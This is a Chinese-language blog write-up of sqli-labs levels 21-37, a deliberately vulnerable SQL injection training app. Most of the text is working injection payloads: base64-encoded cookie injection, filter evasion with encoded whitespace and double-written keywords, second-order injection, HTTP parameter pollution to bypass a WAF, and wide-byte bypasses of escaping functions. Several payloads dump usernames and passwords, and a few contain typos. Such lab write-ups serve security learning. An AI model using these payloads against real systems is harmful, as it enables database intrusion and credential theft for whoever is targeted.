sqli-labs通关21-37

SQL注入初步学习

Posted by Sprint#51264 on October 20, 2020

less 21(基于错误的复杂的字符型Cookie注入)

  • 原理

    仍旧是http头中的cookie注入,报错型,加单引号与圆括号闭合

    只不过这次的uname利用了base64编码,所以说要把payload进行base64转码再进行注入

    但是值得注意的是这道题的注释符不是–+,而是用#才行

    B98xSK.jpg

  • 步骤

    切记一切payload都要自行进行一次base64编码,这里只给出转码之前的payload

    1.首先检测是否存在注入点

    首先单引号注入发现有报错信息,根据报错信息可以判断出闭合方式是’’)

    uname=-admin') #

    发现可以进入页面

    2.判断注入的位置

    -admin') union select 1,2,3 #

    LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzICM=

    发现到3的时候可行,那么就可以直接在相应位置上进行爆信息操作了,其实和最开始的几关一样的步骤了

    最终payload:

    -admin') union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users #

    LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoMHg3Yyx1c2VybmFtZSwweDdlLHBhc3N3b3JkLDB4N2MpIGZyb20gdXNlcnMgIw==


less 22(基于错误的双引号字符型Cookie注入)

  • 原理

    其实和上题是一样的原理,只不过这一关改变了闭合方式而已,将上一关中的’)变为”即可,其余步骤一致

  • 步骤

    样例:

    -admin" union select 1,2,3 #

    LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==


less 23(基于错误的,过滤注释的GET型)

  • 原理

    根据题目提示,基于错误的,还会被过滤注释的GET型,也就是说无法使用注释符了,查看其源码发现,

    BPNdK0.jpg

    只要有注释符就会被过滤掉,那么我们就要想一种新的方法将语句插进去,

    之前我们使用注释符是要将sql中后面剩余的语句注释掉,

    那样我们的语句就是整个$sql的尾部,

    而现在,不能注释,语句就要插在$sql的中间部分,

    就需要插入的同时将断开的前后分别与插入语句的头和尾连接起来,

    我们可以结合使用’…….and ‘达到目的

  • 步骤

    1.构造payload闭合语句

    ?id=-1' union select 1,2,3 '

    发现是可以行得通的

    那么我们就可以继续

    2.爆库

    ?id=-1' union select 1,2,database() '

    3.爆表

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database() or'

    4.爆列名

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or'

    5.获取用户名密码

    ?id=-1' union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users where 1 or '


less 24(二次注入)

  • 原理

    二次注入就是,注入行为没有发生在前端,而是,

    恶意用户将payload首先上传至数据库,当其它用户再次调用此数据时发生的注入

  • 步骤

    分析:

    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

    代码中用到这么一条语句,对用户登录并没有太多的过滤

    去看login_create 页面发现,即使对用户输入的用户名和密码做了mysql_escape_string()转义操作,

    但是也没有将注释符全部转义,可以使用#

    1.创建一个用户名为 admin'#

    密码随便创建

    意在将sql语句闭合,并且注释掉后面的查询密码部分

    2.使用admin用户账户进行登录,并且修改密码


less 25(过滤了or和and)

  • 原理

    本题过滤了 or 和 and

  • 步骤

    1.单引号测试注入点

    ?id=1'报错

    ?id=1' --+不报错

    那么就可以进行注入

    2.样例payload

    ?id=-1' union select 1,2,database()--+

    也就是说基本同前面的语句一样,不过

    需要注意的是本题过滤了or和and,

    所以查询password的时候要双写”or”变成passwoorrd


less 25a(仍旧是 or and 过滤)

  • 原理

    把or 和 and 用正则匹配的方式过滤了

    preg_replace,并且不区分大小写

    这一题没有引号闭合

    • 步骤

    可以直接使用 union 联合注入呀,没问题啊

    样例payload:

    ?id=-1 union selet 1,2,group_concat(0x7c,username,0x7e,passwoorrd,0x7c) from users --+


26-28可能需要linux环境

less 26(空格和注释都是我们的啦哈哈哈哈)

  • 原理

    把空格和注释符都给过滤了

    BikGTO.jpg

    源码中的blacklist函数过滤了各种注释符or还有and与空格,当然还有斜杠

    对于绕过and 和 or用双写就可

    对于绕过空格

    %09 TAB键(水平)

    %0a 新建一行

    %0c 新的一页

    %0d return功能

    %0b TAB键(垂直)

    %a0 空格

  • 步骤

    用%A0替代空格使用,用&&(%26%26)替代AND使用

    构造payload:

    0'%A0UNION%A0SELECT%A01,version(),database()%26%26%a0'1

    这道题还可以使用盲注实现

    0'||left(database(),1)='s'%26%26'1'='1

    同样报错注入也可以实现

    0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

    只要将空格和and绕过 那么实现就简单了

    or和and 很好过滤,注释过滤了就使用永真闭合,

    or ‘1 ‘ = ‘1是为了闭合和后的’ 变成or ‘1’=’1’ limit 1,1 让语句完整

    %26%26是&&的url编码

    1.查数据库

    ?id=0'union%a0select%a01,database(),3%26%26'1'='1

    2.查表名

    ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

    3.查字段名

    ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

    4.查数据

    ?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1 ***

    less 26a(同上)

  • 原理

    闭合方式改变

  • 步骤

    样例:

    0')%a0union%a0select%a01,2,3||('1

    0')%a0union%a0select%a01,2,3;%00


less 27(过滤了union和select)

  • 原理

    这次过滤的更全面了

    Bim5u9.jpg

    不让注释不让联合不让select

    但是呢~可以发现源码中的select是全大写过滤或者全小写过滤的,没有/i不区分大小写,

    那就有方法论,双写大小写混写

    连空格也不让用

  • 步骤

    1.爆库 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

    2.爆表名

    ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

    3.查字段名

    ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

    4.查数据

    ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3


less 27a(过滤全家桶&基于盲注)

  • 原理

    改为双引号闭合,且需要盲注操作

  • 步骤

    1.测试双引号闭合

    ?id=1"or "1"="1

    2.显示位判断

    ?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3

    3.查数据库

    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

    4.查表名

    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

    5.查字段名

    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

    6.查数据

    ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3


less 28(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)

  • 原理

    出现注入的原因是大小写不严格导致 ,mysql语句中,对大小写不敏感,所以单独的过滤某个函数是没有用的,

    必须转成小写在判断。这样就可以把大小写给过滤了。

  • 步骤

    0')%A0UnIoN%A0SeLeCt(1),version(),3%26%26%a0('1

    使用盲注也可以达到注入的目录

    0')||left(database(),1)='s';%00 ***

    less 28a

  • 原理

    类似于28 这里可以使用注释 0’)%A0UnIoN%A0SeLeCt(1),version(),database() –+


less 29(绕过WAF)

  • 原理

    按理来讲应该是,参数污染?

    绕过WAF

    引用一下别人的文章

    MYSQL注入天书之服务器(两层)架构

    服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。此处应该是id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。

  • 步骤

    但是发现我们可以,直接开查

    样例payload

    ?id=-1' union select 1,2,3 --+

    后面的语句还是和之前的一样,查库查表查字段查值

    或者

    ?id=1&id=-1' union select 1,2,database() --+

    这样就符合绕过WAF的感觉了 ***

    less 30(29+双引号)

  • 步骤

    相比于29题,这题改变了闭合方式,改成了双引号闭合

    ?id=-1" union select 1,2,database()--+

    其余还是雷同,没有改变


less 31(WAF绕过)

  • 原理

    再次更改闭合方式为”)

  • 步骤

    样例payload:

    ?id=-1")union select 1,2,database() --+

    换成参数污染的感觉,就是

    ?id=1&id=-1")union select 1,2,database() --+ ***

    宽字节注入

    MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。


less 32(绕过 addslashes())

  • 原理

    宽字节绕过引号转义

    addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I'm hacker

    本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:

    原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6’ 这样的构造时,’ 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用

  • 步骤

    1.爆库

    ?id=-1%E6' union select 1,2,database() --+

    2.爆表

    ?id=-1%E6' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

    3.爆列名

    users 是由单引号包括住的,所以说要想办法绕过,使用0x代替’’

    ?id=-1%E6' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7573657273--+

    不再赘述。 ***

    less 33(还是绕过 addslashes())

  • 原理

    与上题,一模一样


less 34(POST方式绕过addslashes())

  • 原理

    还是宽字节注释掉斜杠,宽字节注入

  • 步骤

    用burpsuite抓包

    修改提交的值

    uname=admin%E6' union select version(),database()--+&passwd=admin&submit=Submit

    其余部分就不再多说了,仍旧是需要注意,对’users’进行编码

    与上一题的区别就是,改变了传递方式


less 35(why care for addslashes())

  • 原理

    用的是数字型,没有引号闭合,所以说不需要担心addslashes()对引号的影响

    但是,要注意查询数据的时候数据库名表名列名要添加单引号包括

    所以可以用字符串转16进制达到绕过的目的

  • 步骤

    1.测试payload

    ?id=-1 union select 1,2,3 --+

    页面回显

    2.正常注入,爆库

    ?id=-1 union select 1,2,database() --+

    3.爆表

    ?id=-1 union select 1,2,group_concat(table_name) from infomation_schema.columns where table_schema=0x7365637572697479 --+

    剩余步骤不再赘述


less 36(绕过MYSQL_real_escape_string函数)

  • 原理

    调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, \, ‘, “ 和 \x1a.

    利用%DF,字符串转16进制加0x

  • 步骤

    1.测试显示位

    ?id=-1%df' union select 1,2,3 --+

    2.爆库

    ?id=-1%df' union select 1,2,database()--+

    后续步骤不再重述。


less 37(POST方式绕过MYSQL_real_escape_string)

  • 原理

    还是宽字节注入,只不过提交参数方式改为了POST

    需要使用burpsuite进行抓包再改包放包以达到注入目的

  • 步骤

    1.随便输入登录信息提交并用bp拦截

    2.修改uname

    样例payload

    uname=-1%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() --+&passwd=admin&submit=Submit

    后续仍旧是一般步骤查询。


疑问

23.(1) 为什么最后爆用户名密码需要用where子句
32.(1) 为什么0x能代替单引号 # 收获(知识点)

1.注释被过滤就使用永真闭合

2.http参数污染

3.宽字节注入利用了MYSQL认为两个字符是一个汉字的特性绕过检测